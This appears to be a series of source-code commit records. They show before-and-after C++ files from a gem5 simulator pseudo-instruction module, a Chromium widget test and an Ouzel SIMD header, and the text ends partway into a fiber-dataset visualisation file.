PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <errno.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <cstdio>\n\n#include <string>\n\n#include \"sim\/pseudo_inst.hh\"\n#include \"arch\/vtophys.hh\"\n#include \"cpu\/base.hh\"\n#include \"cpu\/sampler\/sampler.hh\"\n#include \"cpu\/exec_context.hh\"\n#include \"cpu\/quiesce_event.hh\"\n#include \"kern\/kernel_stats.hh\"\n#include \"sim\/param.hh\"\n#include \"sim\/serialize.hh\"\n#include \"sim\/sim_exit.hh\"\n#include \"sim\/stat_control.hh\"\n#include \"sim\/stats.hh\"\n#include \"sim\/system.hh\"\n#include \"sim\/debug.hh\"\n#include \"sim\/vptr.hh\"\n\nusing namespace std;\n\nextern Sampler *SampCPU;\n\nusing namespace Stats;\nusing namespace TheISA;\n\nnamespace AlphaPseudo\n{\n    bool doStatisticsInsts;\n    bool doCheckpointInsts;\n    bool doQuiesce;\n\n    void\n    arm(ExecContext *xc)\n    {\n        if (xc->getKernelStats())\n            xc->getKernelStats()->arm();\n    }\n\n    void\n    quiesce(ExecContext *xc)\n    {\n        if (!doQuiesce)\n            return;\n\n        xc->suspend();\n        if (xc->getKernelStats())\n            xc->getKernelStats()->arm();\n    }\n\n    void\n    quiesceNs(ExecContext *xc, uint64_t ns)\n    {\n        if (!doQuiesce || ns == 0)\n            return;\n\n        EndQuiesceEvent *quiesceEvent = xc->getQuiesceEvent();\n\n        if (quiesceEvent->scheduled())\n            quiesceEvent->reschedule(curTick + Clock::Int::ns * ns);\n        else\n            quiesceEvent->schedule(curTick + Clock::Int::ns * ns);\n\n        xc->suspend();\n        if (xc->getKernelStats())\n            xc->getKernelStats()->quiesce();\n    }\n\n    void\n    quiesceCycles(ExecContext *xc, uint64_t cycles)\n    {\n        if (!doQuiesce || cycles == 0)\n            return;\n\n        EndQuiesceEvent *quiesceEvent = xc->getQuiesceEvent();\n\n        if (quiesceEvent->scheduled())\n            quiesceEvent->reschedule(curTick +\n                                     xc->getCpuPtr()->cycles(cycles));\n        else\n            quiesceEvent->schedule(curTick +\n                                   xc->getCpuPtr()->cycles(cycles));\n\n        xc->suspend();\n        if (xc->getKernelStats())\n            xc->getKernelStats()->quiesce();\n    }\n\n    uint64_t\n    quiesceTime(ExecContext *xc)\n    {\n        return (xc->readLastActivate() - xc->readLastSuspend()) \/ Clock::Int::ns;\n    }\n\n    void\n    ivlb(ExecContext *xc)\n    {\n        if (xc->getKernelStats())\n            xc->getKernelStats()->ivlb();\n    }\n\n    void\n    ivle(ExecContext *xc)\n    {\n    }\n\n    void\n    m5exit_old(ExecContext *xc)\n    {\n        SimExit(curTick, \"m5_exit_old instruction encountered\");\n    }\n\n    void\n    m5exit(ExecContext *xc, Tick delay)\n    {\n        Tick when = curTick + delay * Clock::Int::ns;\n        SimExit(when, \"m5_exit instruction encountered\");\n    }\n\n    void\n    resetstats(ExecContext *xc, Tick delay, Tick period)\n    {\n        if (!doStatisticsInsts)\n            return;\n\n\n        Tick when = curTick + delay * Clock::Int::ns;\n        Tick repeat = period * Clock::Int::ns;\n\n        using namespace Stats;\n        SetupEvent(Reset, when, repeat);\n    }\n\n    void\n    dumpstats(ExecContext *xc, Tick delay, Tick period)\n    {\n        if (!doStatisticsInsts)\n            return;\n\n\n        Tick when = curTick + delay * Clock::Int::ns;\n        Tick repeat = period * Clock::Int::ns;\n\n        using namespace Stats;\n        SetupEvent(Dump, when, repeat);\n    }\n\n    void\n    addsymbol(ExecContext *xc, Addr addr, Addr symbolAddr)\n    {\n        char symb[100];\n        CopyString(xc, symb, symbolAddr, 100);\n        std::string symbol(symb);\n\n        DPRINTF(Loader, \"Loaded symbol: %s @ %#llx\\n\", symbol, addr);\n\n        xc->getSystemPtr()->kernelSymtab->insert(addr,symbol);\n    }\n\n    void\n    dumpresetstats(ExecContext *xc, Tick delay, Tick period)\n    {\n        if (!doStatisticsInsts)\n            return;\n\n\n        Tick when = curTick + delay * Clock::Int::ns;\n        Tick repeat = period * Clock::Int::ns;\n\n        using namespace Stats;\n        SetupEvent(Dump|Reset, when, repeat);\n    }\n\n    void\n    m5checkpoint(ExecContext *xc, Tick delay, Tick period)\n    {\n        if (!doCheckpointInsts)\n            return;\n\n\n        Tick when = curTick + delay * Clock::Int::ns;\n        Tick repeat = period * Clock::Int::ns;\n\n        Checkpoint::setup(when, repeat);\n    }\n\n    uint64_t\n    readfile(ExecContext *xc, Addr vaddr, uint64_t len, uint64_t offset)\n    {\n        const string &file = xc->getCpuPtr()->system->params()->readfile;\n        if (file.empty()) {\n            return ULL(0);\n        }\n\n        uint64_t result = 0;\n\n        int fd = ::open(file.c_str(), O_RDONLY, 0);\n        if (fd < 0)\n            panic(\"could not open file %s\\n\", file);\n\n        if (::lseek(fd, offset, SEEK_SET) < 0)\n            panic(\"could not seek: %s\", strerror(errno));\n\n        char *buf = new char[len];\n        char *p = buf;\n        while (len > 0) {\n            int bytes = ::read(fd, p, len);\n            if (bytes <= 0)\n                break;\n\n            p += bytes;\n            result += bytes;\n            len -= bytes;\n        }\n\n        close(fd);\n        CopyIn(xc, vaddr, buf, result);\n        delete [] buf;\n        return result;\n    }\n\n    class Context : public ParamContext\n    {\n      public:\n        Context(const string &section) : ParamContext(section) {}\n        void checkParams();\n    };\n\n    Context context(\"pseudo_inst\");\n\n    Param<bool> __quiesce(&context, \"quiesce\",\n                          \"enable quiesce instructions\",\n                          true);\n    Param<bool> __statistics(&context, \"statistics\",\n                             \"enable statistics pseudo instructions\",\n                             true);\n    Param<bool> __checkpoint(&context, \"checkpoint\",\n                             \"enable checkpoint pseudo instructions\",\n                             true);\n\n    void\n    Context::checkParams()\n    {\n        doQuiesce = __quiesce;\n        doStatisticsInsts = __statistics;\n        doCheckpointInsts = __checkpoint;\n    }\n\n    void debugbreak(ExecContext *xc)\n    {\n        debug_break();\n    }\n\n    void switchcpu(ExecContext *xc)\n    {\n        if (SampCPU)\n            SampCPU->switchCPUs();\n    }\n}\n<commit_msg>Fix stat typo.<commit_after>\/*\n * Copyright (c) 2003-2006 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <errno.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <cstdio>\n\n#include <string>\n\n#include \"sim\/pseudo_inst.hh\"\n#include \"arch\/vtophys.hh\"\n#include \"cpu\/base.hh\"\n#include \"cpu\/sampler\/sampler.hh\"\n#include \"cpu\/exec_context.hh\"\n#include \"cpu\/quiesce_event.hh\"\n#include \"kern\/kernel_stats.hh\"\n#include \"sim\/param.hh\"\n#include \"sim\/serialize.hh\"\n#include \"sim\/sim_exit.hh\"\n#include \"sim\/stat_control.hh\"\n#include \"sim\/stats.hh\"\n#include \"sim\/system.hh\"\n#include \"sim\/debug.hh\"\n#include \"sim\/vptr.hh\"\n\nusing namespace std;\n\nextern Sampler *SampCPU;\n\nusing namespace Stats;\nusing namespace TheISA;\n\nnamespace AlphaPseudo\n{\n    bool doStatisticsInsts;\n    bool doCheckpointInsts;\n    bool doQuiesce;\n\n    void\n    arm(ExecContext *xc)\n    {\n        if (xc->getKernelStats())\n            xc->getKernelStats()->arm();\n    }\n\n    void\n    quiesce(ExecContext *xc)\n    {\n        if (!doQuiesce)\n            return;\n\n        xc->suspend();\n        if (xc->getKernelStats())\n            xc->getKernelStats()->quiesce();\n    }\n\n    void\n    quiesceNs(ExecContext *xc, uint64_t ns)\n    {\n        if (!doQuiesce || ns == 0)\n            return;\n\n        EndQuiesceEvent *quiesceEvent = xc->getQuiesceEvent();\n\n        if (quiesceEvent->scheduled())\n            quiesceEvent->reschedule(curTick + Clock::Int::ns * ns);\n        else\n            quiesceEvent->schedule(curTick + Clock::Int::ns * ns);\n\n        xc->suspend();\n        if (xc->getKernelStats())\n            xc->getKernelStats()->quiesce();\n    }\n\n    void\n    quiesceCycles(ExecContext *xc, uint64_t cycles)\n    {\n        if (!doQuiesce || cycles == 0)\n            return;\n\n        EndQuiesceEvent *quiesceEvent = xc->getQuiesceEvent();\n\n        if (quiesceEvent->scheduled())\n            quiesceEvent->reschedule(curTick +\n                                     xc->getCpuPtr()->cycles(cycles));\n        else\n            quiesceEvent->schedule(curTick +\n                                   xc->getCpuPtr()->cycles(cycles));\n\n        xc->suspend();\n        if (xc->getKernelStats())\n            xc->getKernelStats()->quiesce();\n    }\n\n    uint64_t\n    quiesceTime(ExecContext *xc)\n    {\n        return (xc->readLastActivate() - xc->readLastSuspend()) \/ Clock::Int::ns;\n    }\n\n    void\n    ivlb(ExecContext *xc)\n    {\n        if (xc->getKernelStats())\n            xc->getKernelStats()->ivlb();\n    }\n\n    void\n    ivle(ExecContext *xc)\n    {\n    }\n\n    void\n    m5exit_old(ExecContext *xc)\n    {\n        SimExit(curTick, \"m5_exit_old instruction encountered\");\n    }\n\n    void\n    m5exit(ExecContext *xc, Tick delay)\n    {\n        Tick when = curTick + delay * Clock::Int::ns;\n        SimExit(when, \"m5_exit instruction encountered\");\n    }\n\n    void\n    resetstats(ExecContext *xc, Tick delay, Tick period)\n    {\n        if (!doStatisticsInsts)\n            return;\n\n\n        Tick when = curTick + delay * Clock::Int::ns;\n        Tick repeat = period * Clock::Int::ns;\n\n        using namespace Stats;\n        SetupEvent(Reset, when, repeat);\n    }\n\n    void\n    dumpstats(ExecContext *xc, Tick delay, Tick period)\n    {\n        if (!doStatisticsInsts)\n            return;\n\n\n        Tick when = curTick + delay * Clock::Int::ns;\n        Tick repeat = period * Clock::Int::ns;\n\n        using namespace Stats;\n        SetupEvent(Dump, when, repeat);\n    }\n\n    void\n    addsymbol(ExecContext *xc, Addr addr, Addr symbolAddr)\n    {\n        char symb[100];\n        CopyString(xc, symb, symbolAddr, 100);\n        std::string symbol(symb);\n\n        DPRINTF(Loader, \"Loaded symbol: %s @ %#llx\\n\", symbol, addr);\n\n        xc->getSystemPtr()->kernelSymtab->insert(addr,symbol);\n    }\n\n    void\n    dumpresetstats(ExecContext *xc, Tick delay, Tick period)\n    {\n        if (!doStatisticsInsts)\n            return;\n\n\n        Tick when = curTick + delay * Clock::Int::ns;\n        Tick repeat = period * Clock::Int::ns;\n\n        using namespace Stats;\n        SetupEvent(Dump|Reset, when, repeat);\n    }\n\n    void\n    m5checkpoint(ExecContext *xc, Tick delay, Tick period)\n    {\n        if (!doCheckpointInsts)\n            return;\n\n\n        Tick when = curTick + delay * Clock::Int::ns;\n        Tick repeat = period * Clock::Int::ns;\n\n        Checkpoint::setup(when, repeat);\n    }\n\n    uint64_t\n    readfile(ExecContext *xc, Addr vaddr, uint64_t len, uint64_t offset)\n    {\n        const string &file = xc->getCpuPtr()->system->params()->readfile;\n        if (file.empty()) {\n            return ULL(0);\n        }\n\n        uint64_t result = 0;\n\n        int fd = ::open(file.c_str(), O_RDONLY, 0);\n        if (fd < 0)\n            panic(\"could not open file %s\\n\", file);\n\n        if (::lseek(fd, offset, SEEK_SET) < 0)\n            panic(\"could not seek: %s\", strerror(errno));\n\n        char *buf = new char[len];\n        char *p = buf;\n        while (len > 0) {\n            int bytes = ::read(fd, p, len);\n            if (bytes <= 0)\n                break;\n\n            p += bytes;\n            result += bytes;\n            len -= bytes;\n        }\n\n        close(fd);\n        CopyIn(xc, vaddr, buf, result);\n        delete [] buf;\n        return result;\n    }\n\n    class Context : public ParamContext\n    {\n      public:\n        Context(const string &section) : ParamContext(section) {}\n        void checkParams();\n    };\n\n    Context context(\"pseudo_inst\");\n\n    Param<bool> __quiesce(&context, \"quiesce\",\n                          \"enable quiesce instructions\",\n                          true);\n    Param<bool> __statistics(&context, \"statistics\",\n                             \"enable statistics pseudo instructions\",\n                             true);\n    Param<bool> __checkpoint(&context, \"checkpoint\",\n                             \"enable checkpoint pseudo instructions\",\n                             true);\n\n    void\n    Context::checkParams()\n    {\n        doQuiesce = __quiesce;\n        doStatisticsInsts = __statistics;\n        doCheckpointInsts = __checkpoint;\n    }\n\n    void debugbreak(ExecContext *xc)\n    {\n        debug_break();\n    }\n\n    void switchcpu(ExecContext *xc)\n    {\n        if (SampCPU)\n            SampCPU->switchCPUs();\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix glyph width calculation in HarfBuzz<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>calculate lengths at compile time<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"views\/widget\/widget_win.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nusing namespace views;\n\nclass WidgetWinTest : public testing::Test {\n public:\n  WidgetWinTest() {\n    OleInitialize(NULL);\n  }\n\n  ~WidgetWinTest() {\n    OleUninitialize();\n  }\n\n  virtual void TearDown() {\n    \/\/ Flush the message loop because we have pending release tasks\n    \/\/ and these tasks if un-executed would upset Valgrind.\n    RunPendingMessages();\n  }\n\n  \/\/ Create a simple widget win. The caller is responsible for taking ownership\n  \/\/ of the returned value.\n  WidgetWin* CreateWidgetWin();\n\n  void RunPendingMessages() {\n    message_loop_.RunAllPending();\n  }\n\n private:\n  MessageLoopForUI message_loop_;\n\n  DISALLOW_COPY_AND_ASSIGN(WidgetWinTest);\n};\n\n\nWidgetWin* WidgetWinTest::CreateWidgetWin() {\n  scoped_ptr<WidgetWin> window(new WidgetWin());\n  window->set_delete_on_destroy(false);\n  window->set_window_style(WS_OVERLAPPEDWINDOW);\n  window->Init(NULL, gfx::Rect(50, 50, 650, 650));\n  return window.release();\n}\n\nTEST_F(WidgetWinTest, ZoomWindow) {\n  scoped_ptr<WidgetWin> window(CreateWidgetWin());\n  window->ShowWindow(SW_HIDE);\n  EXPECT_FALSE(window->IsActive());\n  window->ShowWindow(SW_MAXIMIZE);\n  EXPECT_TRUE(window->IsZoomed());\n  window->CloseNow();\n}\n\nTEST_F(WidgetWinTest, SetBoundsForZoomedWindow) {\n  scoped_ptr<WidgetWin> window(CreateWidgetWin());\n  window->ShowWindow(SW_MAXIMIZE);\n  EXPECT_TRUE(window->IsZoomed());\n\n  \/\/ Create another window, so that it will be active.\n  scoped_ptr<WidgetWin> window2(CreateWidgetWin());\n  window2->ShowWindow(SW_MAXIMIZE);\n  EXPECT_TRUE(window2->IsActive());\n\n  \/\/ Verify that setting the bounds of a zoomed window will unzoom it and not\n  \/\/ cause it to be activated.\n  window->SetBounds(gfx::Rect(50, 50, 650, 650));\n  EXPECT_FALSE(window->IsZoomed());\n  EXPECT_FALSE(window->IsActive());\n\n  \/\/ Cleanup.\n  window->CloseNow();\n  window2->CloseNow();\n}\n<commit_msg>Disable the check for the window being active after SetBounds because it fails on some platforms.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"views\/widget\/widget_win.h\"\n\n#include \"base\/basictypes.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nusing namespace views;\n\nclass WidgetWinTest : public testing::Test {\n public:\n  WidgetWinTest() {\n    OleInitialize(NULL);\n  }\n\n  ~WidgetWinTest() {\n    OleUninitialize();\n  }\n\n  virtual void TearDown() {\n    \/\/ Flush the message loop because we have pending release tasks\n    \/\/ and these tasks if un-executed would upset Valgrind.\n    RunPendingMessages();\n  }\n\n  \/\/ Create a simple widget win. The caller is responsible for taking ownership\n  \/\/ of the returned value.\n  WidgetWin* CreateWidgetWin();\n\n  void RunPendingMessages() {\n    message_loop_.RunAllPending();\n  }\n\n private:\n  MessageLoopForUI message_loop_;\n\n  DISALLOW_COPY_AND_ASSIGN(WidgetWinTest);\n};\n\n\nWidgetWin* WidgetWinTest::CreateWidgetWin() {\n  scoped_ptr<WidgetWin> window(new WidgetWin());\n  window->set_delete_on_destroy(false);\n  window->set_window_style(WS_OVERLAPPEDWINDOW);\n  window->Init(NULL, gfx::Rect(50, 50, 650, 650));\n  return window.release();\n}\n\nTEST_F(WidgetWinTest, ZoomWindow) {\n  scoped_ptr<WidgetWin> window(CreateWidgetWin());\n  window->ShowWindow(SW_HIDE);\n  EXPECT_FALSE(window->IsActive());\n  window->ShowWindow(SW_MAXIMIZE);\n  EXPECT_TRUE(window->IsZoomed());\n  window->CloseNow();\n}\n\nTEST_F(WidgetWinTest, SetBoundsForZoomedWindow) {\n  scoped_ptr<WidgetWin> window(CreateWidgetWin());\n  window->ShowWindow(SW_MAXIMIZE);\n  EXPECT_TRUE(window->IsZoomed());\n\n  \/\/ Create another window, so that it will be active.\n  scoped_ptr<WidgetWin> window2(CreateWidgetWin());\n  window2->ShowWindow(SW_MAXIMIZE);\n  EXPECT_TRUE(window2->IsActive());\n  EXPECT_FALSE(window->IsActive());\n\n  \/\/ Verify that setting the bounds of a zoomed window will unzoom it and not\n  \/\/ cause it to be activated.\n  window->SetBounds(gfx::Rect(50, 50, 650, 650));\n  EXPECT_FALSE(window->IsZoomed());\n  \/\/ Re-enable the check below: http:\/\/crbug.com\/69724\n  \/\/ EXPECT_FALSE(window->IsActive());\n\n  \/\/ Cleanup.\n  window->CloseNow();\n  window2->CloseNow();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Ouzel by Elviss Strazdins\n\n#ifndef OUZEL_MATH_SIMD_HPP\n#define OUZEL_MATH_SIMD_HPP\n\n#if defined(__SSE__) || defined(_M_X64) || _M_IX86_FP >= 1\n#  include <xmmintrin.h>\n#  define OUZEL_SIMD_SSE\n#endif\n#if defined(__SSE2__) || defined(_M_X64) || _M_IX86_FP >= 2\n#  define OUZEL_SIMD_SSE2\n#endif\n#if defined(__ARM_NEON__)\n#  include <arm_neon.h>\n#  define OUZEL_SIMD_NEON\n#endif\n\n#endif \/\/ OUZEL_MATH_SIMD_HPP\n<commit_msg>Add define for NEON64<commit_after>\/\/ Ouzel by Elviss Strazdins\n\n#ifndef OUZEL_MATH_SIMD_HPP\n#define OUZEL_MATH_SIMD_HPP\n\n#if defined(__SSE__) || defined(_M_X64) || _M_IX86_FP >= 1\n#  include <xmmintrin.h>\n#  define OUZEL_SIMD_SSE\n#endif\n#if defined(__SSE2__) || defined(_M_X64) || _M_IX86_FP >= 2\n#  define OUZEL_SIMD_SSE2\n#endif\n#if defined(__ARM_NEON__)\n#  include <arm_neon.h>\n#  define OUZEL_SIMD_NEON\n#  if defined(__x86_64__)\n#    define OUZEL_SIMD_NEON64\n#  endif\n#endif\n\n#endif \/\/ OUZEL_MATH_SIMD_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * datasetfibers.cpp\n *\n * Created on: Dec 12, 2012\n * @author Ralph Schurade\n *\/\n#include \"datasetfibers.h\"\n\n#include \"fiberselector.h\"\n#include \"..\/models.h\"\n#include \"..\/..\/gui\/gl\/fiberrenderer.h\"\n#include \"..\/..\/gui\/gl\/tuberenderer.h\"\n\n\nDatasetFibers::DatasetFibers( QDir filename, QVector< QVector< float > > fibs ) :\n    Dataset( filename, Fn::DatasetType::FIBERS ),\n    m_fibs( fibs ),\n    m_renderer( 0 ),\n    m_tubeRenderer( 0 ),\n    m_selector( 0 )\n{\n    int numPoints = 0;\n    for ( int i = 0; i < fibs.size(); ++i )\n    {\n        numPoints += fibs[i].size() \/ 3;\n    }\n\n    m_properties[\"maingl\"]->set( Fn::Property::NUM_POINTS, numPoints );\n    m_properties[\"maingl\"]->set( Fn::Property::NUM_LINES, fibs.size() );\n    m_properties[\"maingl\"]->set( Fn::Property::FIBER_RENDERMODE, {\"lines\", \"tubes\"}, 0, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLORMODE, { \"global\", \"local\", \"user defined\", \"mri\" }, 0, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLOR, QColor( 255, 0, 0 ), true );\n    m_properties[\"maingl\"]->set( Fn::Property::ALPHA, 1.f, 0.f, 1.f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::FIBER_THICKNESS, 1.0f, 0.1f, 5.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLORMAP, 1 );\n    m_properties[\"maingl\"]->set( Fn::Property::MIN, 0.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::MAX, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::SELECTED_MIN, 0.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::SELECTED_MAX, 1.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::LOWER_THRESHOLD, 0.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::UPPER_THRESHOLD, 1.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::DX, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::DY, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::DZ, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NX, 800, 0, 1600, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NY, 1000, 0, 2000, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NZ, 800, 0, 1600, true );\n\n    QVector<QVector<float> >data0;\n    data0.reserve( fibs.size() );\n    for ( int i = 0; i < fibs.size(); ++i )\n    {\n        data0.push_back( QVector<float>( fibs[i].size() \/ 3 ) );\n    }\n    m_data.push_back( data0 );\n    m_dataNames.push_back( \"no data\" );\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::COLOR ), SIGNAL( colorChanged( QColor ) ), this, SLOT( colorChanged() ) );\n}\n\nDatasetFibers::DatasetFibers( QDir filename,\n                                 QVector< QVector< float > > fibs,\n                                 QVector< QVector< QVector< float > > >data,\n                                 QVector<QString>dataNames,\n                                 QVector< float > mins,\n                                 QVector<float> maxes ) :\n    Dataset( filename, Fn::DatasetType::FIBERS ),\n    m_fibs( fibs ),\n    m_data( data ),\n    m_dataNames( dataNames ),\n    m_dataMins( mins ),\n    m_dataMaxes( maxes ),\n    m_renderer( 0 ),\n    m_tubeRenderer( 0 ),\n    m_selector( 0 )\n{\n    int numPoints = 0;\n    for ( int i = 0; i < fibs.size(); ++i )\n    {\n        numPoints += fibs[i].size() \/ 3;\n    }\n\n    m_properties[\"maingl\"]->set( Fn::Property::NUM_POINTS, numPoints );\n    m_properties[\"maingl\"]->set( Fn::Property::NUM_LINES, fibs.size() );\n    m_properties[\"maingl\"]->set( Fn::Property::FIBER_RENDERMODE, {\"lines\", \"tubes\"}, 0, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLORMODE, { \"global\", \"local\", \"user defined\", \"mri\", \"data\" }, 0, true );\n    m_properties[\"maingl\"]->set( Fn::Property::DATAMODE, dataNames, 0, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLOR, QColor( 255, 0, 0 ), true );\n    m_properties[\"maingl\"]->set( Fn::Property::ALPHA, 1.f, 0.f, 1.f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::FIBER_THICKNESS, 1.0f, 0.1f, 5.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::COLORMAP, 1, true );\n    m_properties[\"maingl\"]->set( Fn::Property::MIN, 0.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::MAX, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::SELECTED_MIN, 0.0f, 0.0f, 1.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::SELECTED_MAX, 1.0f, 0.0f, 1.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::LOWER_THRESHOLD, 0.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::UPPER_THRESHOLD, 1.0f, 0.0f, 1.0f );\n    m_properties[\"maingl\"]->set( Fn::Property::DX, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::DY, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::DZ, 100.0f, 0.0f, 100.0f, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NX, 800, 0, 1600, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NY, 1000, 0, 2000, true );\n    m_properties[\"maingl\"]->set( Fn::Property::NZ, 800, 0, 1600, true );\n\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ), SIGNAL( valueChanged( float ) ),\n              m_properties[\"maingl\"]->getProperty( Fn::Property::LOWER_THRESHOLD ), SLOT( setMax( float ) ) );\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ), SIGNAL( valueChanged( float ) ),\n              m_properties[\"maingl\"]->getProperty( Fn::Property::UPPER_THRESHOLD ), SLOT( setMin( float ) ) );\n\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ), SIGNAL( valueChanged( float ) ),\n              m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ), SLOT( setMin( float ) ) );\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MAX ), SIGNAL( valueChanged( float ) ),\n              m_properties[\"maingl\"]->getProperty( Fn::Property::SELECTED_MIN ), SLOT( setMax( float ) ) );\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::COLOR ), SIGNAL( colorChanged( QColor ) ), this, SLOT( colorChanged() ) );\n    connect( m_properties[\"maingl\"]->getProperty( Fn::Property::DATAMODE ), SIGNAL( valueChanged( int ) ), this, SLOT( dataModeChanged() ) );\n}\n\nDatasetFibers::~DatasetFibers()\n{\n    m_fibs.clear();\n}\n\nQVector< QVector< float > > DatasetFibers::getFibs()\n{\n    return m_fibs;\n}\n\nQVector< QVector< QVector< float > > > DatasetFibers::getData()\n{\n    return m_data;\n}\n\nQVector< QVector< float > > DatasetFibers::getSelectedFibs()\n{\n    if ( m_renderer == 0 )\n    {\n        return m_fibs;\n    }\n    else\n    {\n        QVector<bool>*selected = m_selector->getSelection();\n        QVector<QVector<float> >out;\n        for ( int i = 0; i < selected->size(); ++i )\n        {\n            if ( selected->at( i ) )\n            {\n                out.push_back( m_fibs[i] );\n            }\n        }\n        return out;\n    }\n}\n\nvoid DatasetFibers::draw( QMatrix4x4 pMatrix, QMatrix4x4 mvMatrix, int width, int height, int renderMode, QString target )\n{\n    if ( !properties( target )->get( Fn::Property::ACTIVE ).toBool() )\n    {\n        return;\n    }\n    if ( m_selector == 0 )\n    {\n        m_selector = new FiberSelector();\n        m_selector->init( m_fibs );\n        connect( m_selector, SIGNAL( changed() ), Models::d(), SLOT( submit() ) );\n    }\n\n    if ( properties( target )->get( Fn::Property::FIBER_RENDERMODE).toInt() == 0 )\n    {\n        if ( m_renderer == 0 )\n        {\n            m_renderer = new FiberRenderer( m_selector, m_fibs, m_data[properties( target )->get( Fn::Property::DATAMODE).toInt()] );\n            m_renderer->setModel( Models::g() );\n            m_renderer->init();\n            m_renderer->colorChanged( properties( target )->get( Fn::Property::COLOR ).value<QColor>() );\n            connect( properties( target )->getProperty( Fn::Property::COLOR ), SIGNAL( colorChanged( QColor ) ), m_renderer, SLOT( colorChanged( QColor ) ) );\n        }\n\n        m_renderer->draw( pMatrix, mvMatrix, width, height, renderMode, properties( target ) );\n    }\n    else if ( properties( target )->get( Fn::Property::FIBER_RENDERMODE).toInt() == 1 )\n    {\n        if ( m_tubeRenderer == 0 )\n        {\n            m_tubeRenderer = new TubeRenderer( m_selector, m_fibs, m_data[properties( target )->get( Fn::Property::DATAMODE).toInt()] );\n            m_tubeRenderer->setModel( Models::g() );\n          